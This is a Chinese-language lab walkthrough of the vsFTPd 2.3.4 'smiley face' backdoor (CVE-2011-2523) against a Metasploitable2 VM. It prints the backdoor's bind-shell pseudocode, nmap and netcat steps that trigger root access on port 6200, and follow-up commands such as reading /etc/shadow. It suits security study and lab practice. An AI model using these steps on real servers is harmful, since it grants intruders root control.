笑脸漏洞复现:原理详解+环境搭建+渗透实战(CVE-2011-2523)

目录

一、笑脸漏洞

1、漏洞简介

2、漏洞原理

(1)代码层的后门植入

[(2)后门执行流程:从"暗号"到Root Shell](#(2)后门执行流程:从“暗号”到Root Shell)

(3)总结

3、利用方式

(1)第一阶段:触发FTP后门

(2)第二阶段:连接后门Shell

二、环境搭建

1、攻击机Kali

2、靶机

(1)靶机下载使用

(2)修改root密码

(3)获取ip地址

三、渗透实战

1、nmap扫描

2、获取vftp版本信息

3、netcat连接靶机21端口

4、Nmap观察端口情况

5、nc连接6200端口反弹shell


本文详细讲解FTP笑脸漏洞的原理、环境搭建与渗透测试的全流程。

一、笑脸漏洞(CVE-2011-2523)

1、CVE-2011-2523漏洞简介

CVE-2011-2523(俗称"笑脸漏洞")是2011年在vsFTPd(Very Secure FTP Daemon)服务器软件2.3.4版本中发现的恶意后门程序。当攻击者通过FTP登录时,在用户名中插入一个特殊的笑脸符号(如 :)),就会触发该后门,导致服务器开启一个6200端口的后门,从而获得完整的系统最高权限(root权限)。该后门是某段时间内官方源码包被植入的,是一个极其经典的高危远程代码执行漏洞。

项目 vsFTPd后门"笑脸漏洞" (CVE-2011-2523)
漏洞俗称 笑脸漏洞 ,因其利用时用户名需包含 :)等笑脸符号而得名
正式编号 CVE-2011-2523
漏洞类型 恶意后门、远程代码执行
影响对象 vsFTPd 2.3.4 版本的FTP服务器(一款在Linux/Unix系统上广泛使用的FTP服务软件)
漏洞本质 软件源码中被故意植入的后门程序。攻击者可以通过FTP服务触发后门,从而在目标服务器上执行任意命令。
利用方式 在FTP登录时,用户名中包含特定的笑脸符号(如 :))即可触发后门。成功利用后,后门会开启一个6200端口,提供Root权限的Shell访问。
造成后果 直接获得目标Linux服务器的最高控制权(Root权限)。危害性极大,可窃取数据、植入木马或作为攻击跳板。
修复措施 立即升级vsFTPd到官方发布的安全版本(高于2.3.4)。

2、漏洞原理

CVE-2011-2523 "笑脸漏洞"的核心原理,是在vsFTPd 2.3.4版本的源代码中被故意植入了一个隐蔽的后门函数 。攻击者通过在FTP登录时输入包含特定"笑脸"字符 :) 的用户名,即可触发该后门,绕过所有认证,直接获取一个以root权限运行的远程Shell。以下是包含代码的详细原理分析:

(1)代码层的后门植入

后门逻辑被巧妙地隐藏在 /src/str.c 文件的 vsf_str_getline 函数中。以下是问题代码的精简说明,功能是如果数组p_buf第i个元素是0x3a,第i+1个元素的0x29,就会执行vsf_sysutil_extra()函数

复制代码
// /src/str.c 中被植入的后门代码片段
static int vsf_str_getline(...)
{
    ...
    // 正常的字符读取循环
    for(i = 0; i < p_str->len; i++)
    {
        // 植入点:一个与程序主逻辑无关的条件判断
        else if ((p_str->p_buf[i] == 0x3a) && (p_str->p_buf[i+1] == 0x29)) // 检测“:)”
        {
            vsf_sysutil_extra(); // 触发后门函数
        }
    }
    ...
}

代码解读

  • 触发器 :代码遍历存储FTP客户端输入(尤其是用户名)的缓冲区 p_buf

  • "暗号"识别 :当检测到连续的ASCII字符 0x3a (:) 和 0x29 ()) 时,即识别到输入为 :)

  • 后门调用 :一旦识别到这个与正常FTP登录流程完全无关的"暗号",程序将调用一个特殊函数 vsf_sysutil_extra(),从而激活后门。

(2)后门执行流程:从"暗号"到Root Shell

被调用的 vsf_sysutil_extra() 函数是后门的执行引擎,主要功能是建立socket连接(端口为6200),其主要伪代码如下:

复制代码
void vsf_sysutil_extra()
{
    // 1. 创建网络Socket
    int fd = socket(AF_INET, SOCK_STREAM, 0);

    // 2. 绑定到6200端口
    struct sockaddr_in sa;
    sa.sin_port = htons(6200); // 固定后门端口
    bind(fd, (struct sockaddr*)&sa, sizeof(sa));

    // 3. 监听连接
    listen(fd, 1);

    // 4. 接受连接并启动Root Shell
    int client_fd = accept(fd, NULL, NULL);
    dup2(client_fd, 0); dup2(client_fd, 1); dup2(client_fd, 2); // 将标准输入、输出、错误重定向到网络连接
    execl("/bin/sh", "sh", (char *)0); // 启动一个Shell,该进程继承vsftpd的root权限
}

流程解析

  • 端口监听 :该函数在6200端口上秘密开启一个TCP监听服务。

  • Shell启动 :当有连接到达6200端口时,它会启动一个 /bin/sh Shell进程。

  • 权限继承 :由于vsFTPd服务进程本身以root 身份运行,因此它派生的这个Shell也拥有完整的root系统权限

(3)总结

整个攻击过程构成清晰的链条:攻击者输入用户名 :) → 触发 str.c 中的后门检测代码 → 调用 vsf_sysutil_extra() → 在6200端口启动 Shell → 攻击者连接6200端口获得Root控制权

漏洞本质 :这不是一个因编程疏忽导致的缓冲区溢出或逻辑错误,而是一次典型的软件供应链攻击 。攻击者(或恶意内部人员)在软件发布前的源码中主动植入了恶意代码,使其成为一个带有"秘密开关"的特洛伊木马。任何下载并使用此特定版本(2.3.4)的用户,都会在不知不觉中运行一个存在后门的FTP服务器。

3、利用方式

漏洞的利用方法必须先完成第一阶段 (即使FTP登录"失败"),后门端口(6200)才会被开启。两个阶段需要在短时间内连续完成

复制代码
# 步骤1: 使用包含笑脸的用户名连接FTP(无需正确密码)
ftp 目标服务器IP
用户名: :)
密码: 任意(或不输入)

# 步骤2: 连接被开启的6200后门端口
telnet 目标服务器IP 6200
# 或
nc 目标服务器IP 6200

(1)第一阶段:触发FTP后门

此阶段的目的是通过一个特殊的FTP登录请求,激活目标服务器vsftpd 2.3.4服务中隐藏的后门程序。

  • 准备环境:确保你有一台可以访问目标服务器的Linux或macOS终端(Windows下可使用WSL或Putty等SSH工具)。

  • 连接FTP服务:使用系统的FTP客户端连接到目标服务器的21端口。

    复制代码
    ftp <目标服务器IP>

示例:ftp 192.168.42.135

  • 输入"暗号" :在提示输入用户名时,键入漏洞触发字符串 :)(冒号+右括号)。密码可以输入任意字符或直接回车,假设ip地址为192.168.42.135,那么进入如下交互流程。

    复制代码
    Connected to 192.168.42.135.
    220 (vsFTPd 2.3.4)
    Name (192.168.42.135:user): :)
    331 Please specify the password.
    Password: <任意输入,如 123>
    530 Login incorrect.
    Login failed.

    注意 :你会看到"Login incorrect."的失败提示,这完全正常且是预期的 。因为我们的目的不是真正登录FTP,而是让服务端处理包含 :) 的用户名字符串,从而触发后门代码。后门已在后台被激活。

(2)第二阶段:连接后门Shell

触发后门后,恶意代码会在目标服务器的6200端口启动一个具有root权限的Shell。现在需要连接它。

  • 使用Telnet或Netcat连接新开一个终端窗口,使用以下任一命令连接目标服务器的6200端口。

    • 使用 Telnet(通常系统自带):

      复制代码
      telnet <目标服务器IP> 6200

      示例:telnet 192.168.42.135

    • 使用 Netcat (功能更强大,如果未安装需执行 apt install netcatyum install nc):

      复制代码
      nc <目标服务器IP> 6200

      示例:nc 192.168.42.135 6200

  • 获取Shell :如果目标服务器存在此漏洞且后门触发成功,执行上一步命令后,你将立即获得一个命令行提示符 。这个Shell直接运行在目标服务器上,并且继承了vsftpd进程的root权限

    复制代码
    # 连接成功后的界面示例
    whoami
    root
    id
    uid=0(root) gid=0(root) groups=0(root)

    此时,你已经可以执行任何root权限的命令,如 cat /etc/shadow(查看密码哈希)、adduser hacker(添加用户)等。

二、环境搭建

1、攻击机Kali

kali-linux(IP:192.168.42.135/24),具体如下所示。

2、靶机

(1)靶机下载使用

使用靶机metasploitable-linux-2.0.0,下载完成后解压到电脑,然后使用VMware直接打开。

下载地址:https://pan.baidu.com/s/1cB2yKSEZvU9ajU4IeU8pCw 提取码8888

(2)修改root密码

metasploitable-linux-2.0.0使用普通用户msfadmin ,密码msfadmin 进行登录,修改root密码操作如下:

(3)获取ip地址

靶机metasploitable-linux-2.0.0的网卡配置与攻击机处于同一网段,获取到的ip地址如下所示,为192.168.42.151。

三、渗透实战

1、nmap扫描

开启metasploitable-linux-2.0.0虚拟机,在kali上打开一个终端,使用kali的nmap对靶机进行端口扫描(命令为:nmap 192.168.42.151),发现靶机开放了21 ftp端口,如下所示。

复制代码
nmap 192.168.42.151
端口 服务 潜在风险与常见漏洞
21/tcp ftp vsFTPd 2.3.4 后门 (CVE-2011-2523),这是我们的主要利用点。
1524/tcp ingreslock Metasploitable2 经典后门 。这是一个以root身份运行在1524端口的绑定shell,无需认证 ,连接即可获得root权限。nc 192.168.42.151 1524
512/tcp exec rlogin服务,可能允许远程命令执行。
2049/tcp nfs 网络文件系统,配置不当可能允许未授权访问共享目录。
3306/tcp mysql MySQL数据库,默认凭据(root:root)可能未修改。
5900/tcp vnc VNC远程桌面,弱口令风险极高。
6000/tcp x11 X Window服务,存在未授权访问风险

2、获取vftp版本信息

nmap扫描FTP服务的版本信息(命令为:nmap -sV 192.168.42.151),如下所示版本为2.3.4,正好是笑脸漏洞的影响范围。

复制代码
nmap -sV 192.168.42.151

3、netcat连接靶机21端口

利用瑞士小军刀(netcat),连接靶机的21端口,输入user带有笑脸符号,即:),pass随便输入,注意:这里需要手动输入,此时靶机的6200端口开启,完成后请勿关闭此终端,保持下图的这个状态,不然6200端口也会随之关闭,例如:

复制代码
nc 192.168.42.151 21
user a:)
pass 12345

4、Nmap观察端口情况

在kali上另起一个终端, 用nmap扫描端口6200,观察端口打开情况,如下所示发现6200端口已经处于open状态。

5、nc连接6200端口反弹shell

用nc连接6200端口(命令为:netcat 192.168.42.151 6200),成功以root身份登入,漏洞复现完毕,如下所示。

复制代码
netcat 192.168.42.151 6200
相关推荐
Bruce_Liuxiaowei1 年前
结合 nc 工具利用笑脸漏洞(Smile Bug)攻击 Metasploitable2 Linux
linux·运维·nc·笑脸漏洞